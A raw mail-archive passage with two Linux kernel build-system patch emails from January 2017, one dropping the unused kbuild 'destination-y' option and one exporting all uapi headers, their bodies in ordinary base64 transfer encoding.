 Y6+TgcpZxFQldi37itYKy9Q+NK136wgtoSAnMTl6Q/YQGxOAS+J32+bweJCAukSc+Y/Yp7AyL
 2AkWEVo0ZxalFZapGukYFeUlFmekZJbmJmjq6hgZlebmpxcWJ6ak5iUrFecn7uJkagfxmAYAf
 jr2UBhxglOZiURHm/q1ZECPEl5adUZiQWZ8QXleakFh9ilOHgUJLgPbMOKCdYlJqeWpGWmQMM
 NJi0BAePkgjvcpA0b3FBYm5xZjpE6hSjLsec21dfMgmx5OXnpUqJ84qtByoSACnKKM2DGwEL+
 kuMslLCvIxARwnxFKQW5WaWoMq/YhTnYFQS5l0MsoonM68EbtMroCOYgI64aFMOckRJIkJKqo
 HRb6VRm9+HpFOzKrK8va93ph18fWV+vV0Ks8quXOX9Xo++ThE/JMB+YU/31aIHZpopG7v8T4t
 uf1KXdegbF7OuskBVy033HxNzX7rf/Ci8ketNsrfpIg63f0xMq14nLEluP3D7YLD8ka0HIn0C
 7K+pTtvC9bL8luqHykAto4Vc2ifvn79XWSamxFKckWioxVxUnAgAZXUMCHUCAAA=
X-Env-Sender: root@6wind.com
X-Msg-Ref: server-7.tower-27.messagelabs.com!1484304429!77128610!1
X-Originating-IP: [62.23.145.76]
X-SpamReason: No, hits=0.5 required=7.0 tests=BODY_RANDOM_LONG
X-StarScan-Received: 
X-StarScan-Version: 9.1.1; banners=-,-,-
X-VirusChecked: Checked
Original-Received: (qmail 2142 invoked from network); 13 Jan 2017 10:47:09 -0000
Original-Received: from host.76.145.23.62.rev.coltfrance.com (HELO proxy.6wind.com)
 (62.23.145.76)
 by server-7.tower-27.messagelabs.com with SMTP; 13 Jan 2017 10:47:09 -0000
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
 by proxy.6wind.com (Postfix) with ESMTPS id 2284C257AE;
 Fri, 13 Jan 2017 11:46:56 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
 (envelope-from <root@elsass.dev.6wind.com>)
 id 1cRzNl-0002qH-Eq; Fri, 13 Jan 2017 11:46:53 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
X-BeenThere: xen-devel@lists.xen.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Xen developer discussion <xen-devel.lists.xen.org>
List-Unsubscribe: <https://lists.xen.org/cgi-bin/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xen.org>
List-Help: <mailto:xen-devel-request@lists.xen.org?subject=help>
List-Subscribe: <https://lists.xen.org/cgi-bin/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xen.org
Original-Sender: "Xen-devel" <xen-devel-bounces@lists.xen.org>
Xref: news.gmane.org gmane.comp.emulators.xen.devel:315520 gmane.linux.ports.mips.general:57463 gmane.linux.alsa.devel:163133 gmane.linux.ports.ia64:27599 gmane.linux.documentation:44299 gmane.comp.video.dri.devel:176221 gmane.linux.drivers.mtd:71325 gmane.linux.ports.sparc:24392 gmane.linux.kernel.cross-arch:34793 gmane.linux.drivers.rdma:45574 gmane.linux.ports.hexagon:1115 gmane.linux.ports.sh.devel:55036 gmane.linux.scsi.open-fcoe.devel:13020 gmane.linux.kernel.arc:2014 gmane.linux.drivers.video-input-infrastructure:111899 gmane.linux.kbuild.devel:16310 gmane.linux.raid:55377 gmane.linux.kernel.metag:1238 gmane.linux.ports.arm.kernel:550319 gmane.linux.nfs:81437 gmane.linux.ports.parisc:27190 gmane.linux.network:450008 gmane.linux.kernel.mmc:42210 gmane.linux.kernel:2387316 gmane.linux.kernel.spi.devel:26108 gmane.comp.security.firewalls.netfilter.devel:66851 gmane.linux.ports.alpha:4038 gmane.linux.ports.ppc64.devel:137271
Archived-At: <http://permalink.gmane.org/gmane.comp.emulators.xen.devel/315520>

VGhpcyBvcHRpb24gd2FzIGFkZGVkIGluIGNvbW1pdCBjN2JiMzQ5ZTdjMjUgKCJrYnVpbGQ6IGlu
dHJvZHVjZSBkZXN0aW5hdGlvbi15CmZvciBleHBvcnRlZCBoZWFkZXJzIikgYnV0IG5ldmVyIHVz
ZWQgaW4tdHJlZS4KClNpZ25lZC1vZmYtYnk6IE5pY29sYXMgRGljaHRlbCA8bmljb2xhcy5kaWNo
dGVsQDZ3aW5kLmNvbT4KLS0tCiBEb2N1bWVudGF0aW9uL2tidWlsZC9tYWtlZmlsZXMudHh0IHwg
MjMgKysrKy0tLS0tLS0tLS0tLS0tLS0tLS0KIHNjcmlwdHMvTWFrZWZpbGUuaGVhZGVyc2luc3Qg
ICAgICAgfCAgMiArLQogMiBmaWxlcyBjaGFuZ2VkLCA1IGluc2VydGlvbnMoKyksIDIwIGRlbGV0
aW9ucygtKQoKZGlmZiAtLWdpdCBhL0RvY3VtZW50YXRpb24va2J1aWxkL21ha2VmaWxlcy50eHQg
Yi9Eb2N1bWVudGF0aW9uL2tidWlsZC9tYWtlZmlsZXMudHh0CmluZGV4IDliOWM0Nzk3ZmM1NS4u
MzdiNTI1ZDMyOWFlIDEwMDY0NAotLS0gYS9Eb2N1bWVudGF0aW9uL2tidWlsZC9tYWtlZmlsZXMu
dHh0CisrKyBiL0RvY3VtZW50YXRpb24va2J1aWxkL21ha2VmaWxlcy50eHQKQEAgLTQ2LDkgKzQ2
LDggQEAgVGhpcyBkb2N1bWVudCBkZXNjcmliZXMgdGhlIExpbnV4IGtlcm5lbCBNYWtlZmlsZXMu
CiAJPT09IDcgS2J1aWxkIHN5bnRheCBmb3IgZXhwb3J0ZWQgaGVhZGVycwogCQktLS0gNy4xIGhl
YWRlci15CiAJCS0tLSA3LjIgZ2VuaGRyLXkKLQkJLS0tIDcuMyBkZXN0aW5hdGlvbi15Ci0JCS0t
LSA3LjQgZ2VuZXJpYy15Ci0JCS0tLSA3LjUgZ2VuZXJhdGVkLXkKKwkJLS0tIDcuMyBnZW5lcmlj
LXkKKwkJLS0tIDcuNCBnZW5lcmF0ZWQteQogCiAJPT09IDggS2J1aWxkIFZhcmlhYmxlcwogCT09
PSA5IE1ha2VmaWxlIGxhbmd1YWdlCkBAIC0xMjk1LDIxICsxMjk0LDcgQEAgU2VlIHN1YnNlcXVl
bnQgY2hhcHRlciBmb3IgdGhlIHN5bnRheCBvZiB0aGUgS2J1aWxkIGZpbGUuCiAJCQkjaW5jbHVk
ZS9saW51eC9LYnVpbGQKIAkJCWdlbmhkci15ICs9IHZlcnNpb24uaAogCi0JLS0tIDcuMyBkZXN0
aW5hdGlvbi15Ci0KLQlXaGVuIGFuIGFyY2hpdGVjdHVyZSBoYXMgYSBzZXQgb2YgZXhwb3J0ZWQg
aGVhZGVycyB0aGF0IG5lZWRzIHRvIGJlCi0JZXhwb3J0ZWQgdG8gYSBkaWZmZXJlbnQgZGlyZWN0
b3J5IGRlc3RpbmF0aW9uLXkgaXMgdXNlZC4KLQlkZXN0aW5hdGlvbi15IHNwZWNpZmllcyB0aGUg
ZGVzdGluYXRpb24gZGlyZWN0b3J5IGZvciBhbGwgZXhwb3J0ZWQKLQloZWFkZXJzIGluIHRoZSBm
aWxlIHdoZXJlIGl0IGlzIHByZXNlbnQuCi0KLQkJRXhhbXBsZToKLQkJCSNhcmNoL3h0ZW5zYS9w
bGF0Zm9ybXMvczYxMDUvaW5jbHVkZS9wbGF0Zm9ybS9LYnVpbGQKLQkJCWRlc3RpbmF0aW9uLXkg
Oj0gaW5jbHVkZS9saW51eAotCi0JSW4gdGhlIGV4YW1wbGUgYWJvdmUgYWxsIGV4cG9ydGVkIGhl
YWRlcnMgaW4gdGhlIEtidWlsZCBmaWxlCi0Jd2lsbCBiZSBsb2NhdGVkIGluIHRoZSBkaXJlY3Rv
cnkgImluY2x1ZGUvbGludXgiIHdoZW4gZXhwb3J0ZWQuCi0KLQktLS0gNy40IGdlbmVyaWMteQor
CS0tLSA3LjMgZ2VuZXJpYy15CiAKIAlJZiBhbiBhcmNoaXRlY3R1cmUgdXNlcyBhIHZlcmJhdGlt
IGNvcHkgb2YgYSBoZWFkZXIgZnJvbQogCWluY2x1ZGUvYXNtLWdlbmVyaWMgdGhlbiB0aGlzIGlz
IGxpc3RlZCBpbiB0aGUgZmlsZQpAQCAtMTMzNiw3ICsxMzIxLDcgQEAgU2VlIHN1YnNlcXVlbnQg
Y2hhcHRlciBmb3IgdGhlIHN5bnRheCBvZiB0aGUgS2J1aWxkIGZpbGUuCiAJCUV4YW1wbGU6IHRl
cm1pb3MuaAogCQkJI2luY2x1ZGUgPGFzbS1nZW5lcmljL3Rlcm1pb3MuaD4KIAotCS0tLSA3LjUg
Z2VuZXJhdGVkLXkKKwktLS0gNy40IGdlbmVyYXRlZC15CiAKIAlJZiBhbiBhcmNoaXRlY3R1cmUg
Z2VuZXJhdGVzIG90aGVyIGhlYWRlciBmaWxlcyBhbG9uZ3NpZGUgZ2VuZXJpYy15CiAJd3JhcHBl
cnMsIGFuZCBub3QgaW5jbHVkZWQgaW4gZ2VuaGRyLXksIHRoZW4gZ2VuZXJhdGVkLXkgc3BlY2lm
aWVzCmRpZmYgLS1naXQgYS9zY3JpcHRzL01ha2VmaWxlLmhlYWRlcnNpbnN0IGIvc2NyaXB0cy9N
YWtlZmlsZS5oZWFkZXJzaW5zdAppbmRleCAzZTIwZDAzNDMyZDIuLjg3NmI0MmNmZWRlNCAxMDA2
NDQKLS0tIGEvc2NyaXB0cy9NYWtlZmlsZS5oZWFkZXJzaW5zdAorKysgYi9zY3JpcHRzL01ha2Vm
aWxlLmhlYWRlcnNpbnN0CkBAIC0xNCw3ICsxNCw3IEBAIGtidWlsZC1maWxlIDo9ICQoc3JjdHJl
ZSkvJChvYmopL0tidWlsZAogaW5jbHVkZSAkKGtidWlsZC1maWxlKQogCiAjIGNhbGxlZCBtYXkg
c2V0IGRlc3RpbmF0aW9uIGRpciAod2hlbiBpbnN0YWxsaW5nIHRvIGFzbS8pCi1fZHN0IDo9ICQo
aWYgJChkZXN0aW5hdGlvbi15KSwkKGRlc3RpbmF0aW9uLXkpLCQoaWYgJChkc3QpLCQoZHN0KSwk
KG9iaikpKQorX2RzdCA6PSAkKGlmICQoZHN0KSwkKGRzdCksJChvYmopKQogCiBvbGQta2J1aWxk
LWZpbGUgOj0gJChzcmN0cmVlKS8kKHN1YnN0IHVhcGkvLCwkKG9iaikpL0tidWlsZAogaWZuZXEg
KCQod2lsZGNhcmQgJChvbGQta2J1aWxkLWZpbGUpKSwpCi0tIAoyLjguMQoKCl9fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fClhlbi1kZXZlbCBtYWlsaW5nIGxp
c3QKWGVuLWRldmVsQGxpc3RzLnhlbi5vcmcKaHR0cHM6Ly9saXN0cy54ZW4ub3JnL3hlbi1kZXZl
bAo=


From - Thu Nov 08 21:39:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.comp.emulators.xen.devel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v3 7/8] uapi: export all headers under uapi
	directories
Date: Fri, 13 Jan 2017 11:46:45 +0100
Lines: 1329
Approved: news@gmane.org
Message-ID: <1484304406-10820-8-git-send-email-nicolas.dichtel@6wind.com>
References: <3131144.4Ej3KFWRbz@wuerfel>
 <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1484304536 4590 195.159.176.226 (13 Jan 2017 10:48:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jan 2017 10:48:56 +0000 (UTC)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 daniel.vetter@ffwll.ch, linux-fbdev@vger.kernel.org,
 dri-devel@lists.freedesktop.org, linux-mtd@lists.infradead.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
 linux-c6x-dev@linux-c6x.org, linux-rdma@vger.kernel.org,
 linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org, linux@armlinux.org.uk,
 hch@infradead.org, coreteam@netfilter.org, msalter@redhat.com,
 fcoe-devel@open-fcoe.org, xen-devel@lists.xenproject.org,
 linux-snps-arc@lists.infradead.org, linux-media@vger.kernel.org,
 uclinux-h8-devel@lists.sourceforge.jp, linux-xtensa@linux-xtensa.org,
 linux-kbuild@vger.kernel.org, adi-buildroot-devel@lists.sourceforge.net,
 linux-raid@vger.kernel.org, linux-m68k@lists.linux-m68k.org
To: arnd@arndb.de
Original-X-From: xen-devel-bounces@lists.xen.org Fri Jan 13 11:48:37 2017
Return-path: <xen-devel-bounces@lists.xen.org>
Envelope-to: gcvxd-xen-devel@m.gmane.org
Original-Received: from lists.xenproject.org ([192.237.175.120])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cRzP3-0007WB-4g
	for gcvxd-xen-devel@m.gmane.org; Fri, 13 Jan 2017 11:48:13 +0100
Original-Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cRzOB-0006bv-3M; Fri, 13 Jan 2017 10:47:19 +0000
Original-Received: from mail6.bemta6.messagelabs.com ([193.109.254.103])
 by lists.xenproject.org with esmtp (Exim 4.84_2)
 (envelope-from <root@6wind.com>) id 1cRzO8-0006aJ-Vl
 for xen-devel@lists.xenproject.org; Fri, 13 Jan 2017 10:47:17 +0000
Original-Received: from [193.109.254.147] by server-8.bemta-6.messagelabs.com id
 2A/D6-21675-430B8785; Fri, 13 Jan 2017 10:47:16 +0000
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrNLMWRWlGSWpSXmKPExsViJz7RR9doQ0W
 EweXNkhbft0xmcmD0OPzhCksAYxRrZl5SfkUCa8aWVStZC2acY6n4cWIRYwPj03/MXYxcHEIC
 sxkl/i69xAThLGeUeNj4hb2LkZODTcBQYsP5R2xdjBwcIgKCEq3/NEFqmAXeckucnPuUGaRGW
 MBdYt2Z84wgNouAqkTv3C9MIDavgKfEras3WEFsCQE5icvTH7CB2JwCXhK/3zaDxYUE0iXmzH
 /EPIGRewEjwypGjeLUorLUIl0jA72kosz0jJLcxMwcXUMDM73c1OLixPTUnMSkYr3k/NxNjEA
 vMwDBDsZfywIOMUpyMCmJ8n5XrYgQ4kvKT6nMSCzOiC8qzUktPsQow8GhJMF7Zh1QTrAoNT21
 Ii0zBxhuMGkJDh4lEd7lIGne4oLE3OLMdIjUKUZjjlM3Tr9k4phz++pLJiGWvPy8VClxXrH1Q
 KUCIKUZpXlwg2BxcIlRVkqYlxHoNCGegtSi3MwSVPlXjOIcjErCvItBFvJk5pXA7XsFdAoT0C
 kXbcpBTilJREhJNTBaSUjZOAl/+D+Jwd1X1T64WuOMJmfQQi6+hHM/5ktvkCts4p38pWfXimP
 p8Yzr9vQ+3iBZEjubRaB31THBObY+t1lS7fXUGS22P6jjq43NVIuUnjLtUQJ/umdaQfnmbY+P
 1xZO6vL+b/Bjrk6Bs6/RXBPlNv/VNbFvZ6r9mu0T+b9tpd7um0osxRmJhlrMRcWJAAFZ6el+A
 gAA
X-Env-Sender: root@6wind.com
X-Msg-Ref: server-7.tower-27.messagelabs.com!1484304429!77128610!6
X-Originating-IP: [62.23.145.76]
X-SpamReason: No, hits=0.0 required=7.0 tests=
X-StarScan-Received: 
X-StarScan-Version: 9.1.1; banners=-,-,-
X-VirusChecked: Checked
Original-Received: (qmail 8404 invoked from network); 13 Jan 2017 10:47:14 -0000
Original-Received: from host.76.145.23.62.rev.coltfrance.com (HELO proxy.6wind.com)
 (62.23.145.76)
 by server-7.tower-27.messagelabs.com with SMTP; 13 Jan 2017 10:47:14 -0000
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
 by proxy.6wind.com (Postfix) with ESMTPS id 5139E2581A;
 Fri, 13 Jan 2017 11:46:56 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
 (envelope-from <root@elsass.dev.6wind.com>)
 id 1cRzNl-0002qM-Fc; Fri, 13 Jan 2017 11:46:53 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1484304406-10820-1-git-send-email-nicolas.dichtel@6wind.com>
X-BeenThere: xen-devel@lists.xen.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Xen developer discussion <xen-devel.lists.xen.org>
List-Unsubscribe: <https://lists.xen.org/cgi-bin/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xen.org>
List-Help: <mailto:xen-devel-request@lists.xen.org?subject=help>
List-Subscribe: <https://lists.xen.org/cgi-bin/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xen.org
Original-Sender: "Xen-devel" <xen-devel-bounces@lists.xen.org>
Xref: news.gmane.org gmane.comp.emulators.xen.devel:315523 gmane.linux.ports.mips.general:57464 gmane.linux.alsa.devel:163134 gmane.linux.ports.ia64:27600 gmane.linux.documentation:44300 gmane.comp.video.dri.devel:176222 gmane.linux.drivers.mtd:71326 gmane.linux.ports.sparc:24393 gmane.linux.kernel.cross-arch:34794 gmane.linux.drivers.rdma:45575 gmane.linux.ports.hexagon:1116 gmane.linux.ports.sh.devel:55037 gmane.linux.scsi.open-fcoe.devel:13021 gmane.linux.kernel.arc:2015 gmane.linux.drivers.video-input-infrastructure:111900 gmane.linux.kbuild.devel:16311 gmane.linux.raid:55378 gmane.linux.kernel.metag:1239 gmane.linux.ports.arm.kernel:550321 gmane.linux.nfs:81438 gmane.linux.ports.parisc:27191 gmane.linux.network:450009 gmane.linux.kernel.mmc:42211 gmane.linux.kernel:2387318 gmane.linux.kernel.spi.devel:26109 gmane.comp.security.firewalls.netfilter.devel:66852 gmane.linux.ports.alpha:4039 gmane.linux.ports.ppc64.devel:137272
Archived-At: <http://permalink.gmane.org/gmane.comp.emulators.xen.devel/315523>

UmVndWxhcmx5LCB3aGVuIGEgbmV3IGhlYWRlciBpcyBjcmVhdGVkIGluIGluY2x1ZGUvdWFwaS8s
IHRoZSBkZXZlbG9wZXIKZm9yZ2V0cyB0byBhZGQgaXQgaW4gdGhlIGNvcnJlc3BvbmRpbmcgS2J1
aWxkIGZpbGUuIFRoaXMgZXJyb3IgaXMgdXN1YWxseQpkZXRlY3RlZCBhZnRlciB0aGUgcmVsZWFz
ZSBpcyBvdXQuCgpJbiBmYWN0LCBhbGwgaGVhZGVycyB1bmRlciB1YXBpIGRpcmVjdG9yaWVzIHNo
b3VsZCBiZSBleHBvcnRlZCwgdGh1cyBpdCdzCnVzZWxlc3MgdG8gaGF2ZSBhbiBleGhhdXN0aXZl
IGxpc3QuCgpBZnRlciB0aGlzIHBhdGNoLCB0aGUgZm9sbG93aW5nIGZpbGVzLCB3aGljaCB3ZXJl
IG5vdCBleHBvcnRlZCwgYXJlIG5vdwpleHBvcnRlZCAod2l0aCBtYWtlIGhlYWRlcnNfaW5zdGFs
bF9hbGwpOgphc20tdW5pY29yZTMyL3NobXBhcmFtLmgKYXNtLXVuaWNvcmUzMi91Y29udGV4dC5o
CmFzbS1oZXhhZ29uL3NobXBhcmFtLmgKYXNtLW1pcHMvdWNvbnRleHQuaAphc20tbWlwcy9od2Nh
cC5oCmFzbS1taXBzL3JlZy5oCmRybS92Z2VtX2RybS5oCmRybS9hcm1hZGFfZHJtLmgKZHJtL29t
YXBfZHJtLmgKZHJtL2V0bmF2aXZfZHJtLmgKYXNtLXRpbGUvc2htcGFyYW0uaAphc20tYmxhY2tm
aW4vc2htcGFyYW0uaAphc20tYmxhY2tmaW4vdWNvbnRleHQuaAphc20tcG93ZXJwYy9wZXJmX3Jl
Z3MuaApyZG1hL3FlZHItYWJpLmgKYXNtLXBhcmlzYy9rdm1fcGFyYS5oCmFzbS1vcGVucmlzYy9z
aG1wYXJhbS5oCi5pbnN0YWxsCmFzbS1uaW9zMi9rdm1fcGFyYS5oCmFzbS1uaW9zMi91Y29udGV4
dC5oCmFzbS1zaC9rdm1fcGFyYS5oCmFzbS1zaC91Y29udGV4dC5oCmFzbS14dGVuc2Eva3ZtX3Bh
cmEuaAphc20tYXZyMzIva3ZtX3BhcmEuaAphc20tbTMyci9rdm1fcGFyYS5oCmFzbS1oODMwMC9z
aG1wYXJhbS5oCmFzbS1oODMwMC91Y29udGV4dC5oCmFzbS1tZXRhZy9rdm1fcGFyYS5oCmFzbS1t
ZXRhZy9zaG1wYXJhbS5oCmFzbS1tZXRhZy91Y29udGV4dC5oCmFzbS1tNjhrL2t2bV9wYXJhLmgK
YXNtLW02OGsvc2htcGFyYW0uaApsaW51eC9iY2FjaGUuaApsaW51eC9rdm0uaApsaW51eC9rdm1f
cGFyYS5oCmxpbnV4L2tmZF9pb2N0bC5oCmxpbnV4L2NyeXB0b3VzZXIuaApsaW51eC9rY20uaAps
aW51eC9rY292LmgKbGludXgvc2VnNl9pcHR1bm5lbC5oCmxpbnV4L3N0bS5oCmxpbnV4L2dlbndx
ZQpsaW51eC9nZW53cWUvLmluc3RhbGwKbGludXgvZ2Vud3FlL2dlbndxZV9jYXJkLmgKbGludXgv
Z2Vud3FlLy4uaW5zdGFsbC5jbWQKbGludXgvc2VnNi5oCmxpbnV4L2NpZnMKbGludXgvY2lmcy8u
aW5zdGFsbApsaW51eC9jaWZzL2NpZnNfbW91bnQuaApsaW51eC9jaWZzLy4uaW5zdGFsbC5jbWQK
bGludXgvYXV0b19kZXYtaW9jdGwuaApsaW51eC91c2VyaW8uaApsaW51eC9wci5oCmxpbnV4L3dp
bDYyMTBfdWFwaS5oCmxpbnV4L2Eub3V0LmgKbGludXgvbmlsZnMyX29uZGlzay5oCmxpbnV4L2hh
c2hfaW5mby5oCmxpbnV4L3NlZzZfZ2VubC5oCmxpbnV4L3NlZzZfaG1hYy5oCmxpbnV4L2JhdG1h
bl9hZHYuaApsaW51eC9uc2ZzLmgKbGludXgvcXJ0ci5oCmxpbnV4L2J0cmZzX3RyZWUuaApsaW51
eC9jb3Jlc2lnaHQtc3RtLmgKbGludXgvZG1hLWJ1Zi5oCmxpbnV4L21vZHVsZS5oCmxpbnV4L2xp
Z2h0bnZtLmgKbGludXgvbmlsZnMyX2FwaS5oCmFzbS1jcmlzL2t2bV9wYXJhLmgKYXNtLWFyYy9r
dm1fcGFyYS5oCmFzbS1hcmMvdWNvbnRleHQuaAouLmluc3RhbGwuY21kCmFzbS1jNngvc2htcGFy
YW0uaAphc20tYzZ4L3Vjb250ZXh0LmgKClRoYW5rcyB0byBKdWxpZW4gRmxvcmV0IDxqdWxpZW4u
ZmxvcmV0QDZ3aW5kLmNvbT4gZm9yIHRoZSB0aXAgdG8gZ2V0IGFsbApzdWJkaXJzIHdpdGggYSBw
dXJlIG1ha2VmaWxlIGNvbW1hbmQuCgpGb3IgdGhlIHJlY29yZCwgbm90ZSB0aGF0IGV4cG9ydGVk
IGZpbGVzIGZvciBhc20gZGlyZWN0b3JpZXMgYXJlIGEgbWl4IG9mCmZpbGVzIGxpc3RlZCBieToK
IC0gaW5jbHVkZS91YXBpL2FzbS1nZW5lcmljL0tidWlsZC5hc207CiAtIGFyY2gvPGFyY2g+L2lu
Y2x1ZGUvdWFwaS9hc20vS2J1aWxkOwogLSBhcmNoLzxhcmNoPi9pbmNsdWRlL2FzbS9LYnVpbGQu
CgpTaWduZWQtb2ZmLWJ5OiBOaWNvbGFzIERpY2h0ZWwgPG5pY29sYXMuZGljaHRlbEA2d2luZC5j
b20+CkFja2VkLWJ5OiBEYW5pZWwgVmV0dGVyIDxkYW5pZWwudmV0dGVyQGZmd2xsLmNoPgpBY2tl
ZC1ieTogUnVzc2VsbCBLaW5nIDxybWsra2VybmVsQGFybWxpbnV4Lm9yZy51az4KQWNrZWQtYnk6
IE1hcmsgU2FsdGVyIDxtc2FsdGVyQHJlZGhhdC5jb20+Ci0tLQogRG9jdW1lbnRhdGlvbi9rYnVp
bGQvbWFrZWZpbGVzLnR4dCAgICAgICAgICB8ICA1NSArKy0tCiBhcmNoL2FscGhhL2luY2x1ZGUv
dWFwaS9hc20vS2J1aWxkICAgICAgICAgIHwgIDQxIC0tLQogYXJjaC9hcmMvaW5jbHVkZS91YXBp
L2FzbS9LYnVpbGQgICAgICAgICAgICB8ICAgMyAtCiBhcmNoL2FybS9pbmNsdWRlL3VhcGkvYXNt
L0tidWlsZCAgICAgICAgICAgIHwgIDE3IC0KIGFyY2gvYXJtNjQvaW5jbHVkZS91YXBpL2FzbS9L
YnVpbGQgICAgICAgICAgfCAgMTggLS0KIGFyY2gvYXZyMzIvaW5jbHVkZS91YXBpL2FzbS9LYnVp
bGQgICAgICAgICAgfCAgMjAgLS0KIGFyY2gvYmxhY2tmaW4vaW5jbHVkZS91YXBpL2FzbS9LYnVp
bGQgICAgICAgfCAgMTcgLQogYXJjaC9jNngvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgICAgICAg
ICAgICB8ICAgOCAtCiBhcmNoL2NyaXMvaW5jbHVkZS91YXBpL2FyY2gtdjEwL2FyY2gvS2J1aWxk
IHwgICA1IC0KIGFyY2gvY3Jpcy9pbmNsdWRlL3VhcGkvYXJjaC12MzIvYXJjaC9LYnVpbGQgfCAg
IDMgLQogYXJjaC9jcmlzL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAgICB8ICA0MyAr
LS0KIGFyY2gvZnJ2L2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAgICAgfCAgMzMgLS0K
IGFyY2gvaDgzMDAvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgICAgICAgICAgfCAgMjggLS0KIGFy
Y2gvaGV4YWdvbi9pbmNsdWRlL2FzbS9LYnVpbGQgICAgICAgICAgICAgfCAgIDMgLQogYXJjaC9o
ZXhhZ29uL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICB8ICAxMyAtCiBhcmNoL2lhNjQv
aW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgICAgICAgICAgIHwgIDQ1IC0tLQogYXJjaC9tMzJyL2lu
Y2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAgICB8ICAzMSAtLQogYXJjaC9tNjhrL2luY2x1
ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAgICB8ICAyNCAtLQogYXJjaC9tZXRhZy9pbmNsdWRl
L3VhcGkvYXNtL0tidWlsZCAgICAgICAgICB8ICAgOCAtCiBhcmNoL21pY3JvYmxhemUvaW5jbHVk
ZS91YXBpL2FzbS9LYnVpbGQgICAgIHwgIDMyIC0tCiBhcmNoL21pcHMvaW5jbHVkZS91YXBpL2Fz
bS9LYnVpbGQgICAgICAgICAgIHwgIDM3IC0tLQogYXJjaC9tbjEwMzAwL2luY2x1ZGUvdWFwaS9h
c20vS2J1aWxkICAgICAgICB8ICAzMiAtLQogYXJjaC9uaW9zMi9pbmNsdWRlL3VhcGkvYXNtL0ti
dWlsZCAgICAgICAgICB8ICAgMyArLQogYXJjaC9vcGVucmlzYy9pbmNsdWRlL2FzbS9LYnVpbGQg
ICAgICAgICAgICB8ICAgMyAtCiBhcmNoL29wZW5yaXNjL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxk
ICAgICAgIHwgICA4IC0KIGFyY2gvcGFyaXNjL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAg
ICAgfCAgMjggLS0KIGFyY2gvcG93ZXJwYy9pbmNsdWRlL3VhcGkvYXNtL0tidWlsZCAgICAgICAg
fCAgNDUgLS0tCiBhcmNoL3MzOTAvaW5jbHVkZS91YXBpL2FzbS9LYnVpbGQgICAgICAgICAgIHwg
IDUyIC0tLQogYXJjaC9zY29yZS9pbmNsdWRlL2FzbS9LYnVpbGQgICAgICAgICAgICAgICB8ICAg
NCAtCiBhcmNoL3Njb3JlL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAgIHwgIDMyIC0t
CiBhcmNoL3NoL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAgICAgIHwgIDIzIC0tCiBh
cmNoL3NwYXJjL2luY2x1ZGUvdWFwaS9hc20vS2J1aWxkICAgICAgICAgIHwgIDQ4IC0tLQogYXJj
